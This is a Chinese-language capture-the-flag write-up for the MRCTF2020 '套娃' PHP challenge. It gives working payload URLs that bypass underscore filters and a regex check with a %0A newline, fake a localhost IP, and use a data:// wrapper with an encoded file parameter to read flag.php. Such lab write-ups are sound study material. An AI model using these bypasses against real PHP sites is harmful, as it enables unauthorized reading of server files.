[MRCTF2020]套娃
打开链接
查看源代码
1、$_SERVER[" QUERY_STRING "]获取?后面的值
http://localhost/aaa/index.php?p=222&q=333 $_SERVER['QUERY_STRING'] = "p=222&q=333"; $_SERVER['REQUEST_URI']= "/aaa/index.php?p=222&q=333"; $_SERVER['SCRIPT_NAME']= "/aaa/index.php"; $_SERVER['PHP_SELF']= "/aaa/index.php";
2、substr_count() 函数计算子串在字符串中出现的次数,为“或”语句。
构造的代码不能出现'_'和'%5f',可以用‘ ’或‘.’或‘%5F’绕过
3、通过get取得的参数b_u_p_t不等于23333但是正则,匹配需要匹配到23333所以这里用%0a(因为正则匹配中'^'和'$'代表的是行的开头和结尾,所以能利用换行绕过)绕过
构造/?b.u.p.t=23333%0A,进入下一页面
提示flag在secrettw.php
显示没有权限查看
查看源代码,发现一堆符号
这是jsfuck,要想这段代码可以在javascript上运行,只需在控制台上输入这段代码,按下回车即可
随便post入Merak=1
回显得到一段代码
<?php error_reporting(0); include 'takeip.php'; ini_set('open_basedir','.'); include 'flag.php'; if(isset($_POST['Merak'])){ highlight_file(__FILE__); die(); } function change($v){ $v = base64_decode($v); $re = ''; for($i=0;$i<strlen($v);$i++){ $re .= chr ( ord ($v[$i]) + $i*2 ); } return $re; } echo 'Local access only!'."<br/>"; $ip = getIp(); if($ip!='127.0.0.1') echo "Sorry,you don't have permission! Your ip is :".$ip; if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){ echo "Your REQUEST is:".change($_GET['file']); echo file_get_contents(change($_GET['file'])); } ?>
1、需要伪造IP地址为127.0.0.1
2、file_get_contents
需要传入的get参数2333的值强等于'todat is a happy day',考虑使用伪协议data://
构造?2333=data://text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=
3、change函数的作用,传入的参数先进行base64解码,然后将字符转化成ASCII并且+$i*2
构造/secrettw.php?2333=data:text/plain;base64,dG9kYXQgaXMgYSBoYXBweSBkYXk=&file=ZmpdYSZmXGI=
得到flag